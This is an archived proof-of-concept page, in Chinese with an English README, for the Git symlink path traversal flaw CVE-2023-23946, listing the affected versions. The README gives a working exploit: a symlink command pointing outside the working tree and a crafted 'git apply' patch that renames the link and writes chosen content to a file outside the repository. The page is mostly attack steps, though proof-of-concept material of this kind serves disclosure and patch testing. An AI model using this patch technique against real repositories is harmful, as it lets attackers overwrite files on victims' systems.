关联漏洞
标题:Git 路径遍历漏洞 (CVE-2023-23946)POC 描述:Git是一套免费、开源的分布式版本控制系统。 Git存在安全漏洞。攻击者利用该漏洞可以访问存储在Web根文件夹之外的文件和目录。以下版本受到影响:2.39版本至2.39.2之前版本、2.38版本至2.38.4之前版本、2.37版本至2.37.6之前版本、2.36版本至2.36.5之前版本、2.35版本至2.35.7之前版本、2.34版本至2.34.7之前版本、2.33版本至2.33.7之前版本、2.32版本至2.32.6之前版本、2.31版本至2.31.7之前版本、2.30版本至2.30.8之前版本。
POC 描述
Explanation and POC of the CVE-2023-23946
介绍
# CVE-2023-23946 POC Exploit
Explanation and POC of the CVE-2023-23946
The CVE-2023-23946 vulnerability is caused by a flaw in the way git handles symbolic links. When git creates a symbolic link, it doesnt actually handle it as a symbolic link and because of that we can exploit it to point to files outside of the working tree.
# First create a symlink
```
ln -s [PATH_YOU_WANT_TO_ACCESS_OUTSITE_WORKING_TREE] symlink
```
# Now create a patch to use with the git apply
```
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[FILE_OUTSIDE]
@@ -0,0 +1 @@
+[WHAT_YOU_WANT_INSIDE_THE_FILE]
\ No newline at end of file
```
What does the patch do? We change the name of the existing symbolic link and create a new file. This way, when we modify /newsymlink/[FILE_OUTSIDE] git does not apply its protections against symbolic links.
文件快照
[4.0K] /data/pocs/ac515875c229061671e73f275d7cb0ddf7ee0aff
├── [ 283] exploit.patch
└── [ 974] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。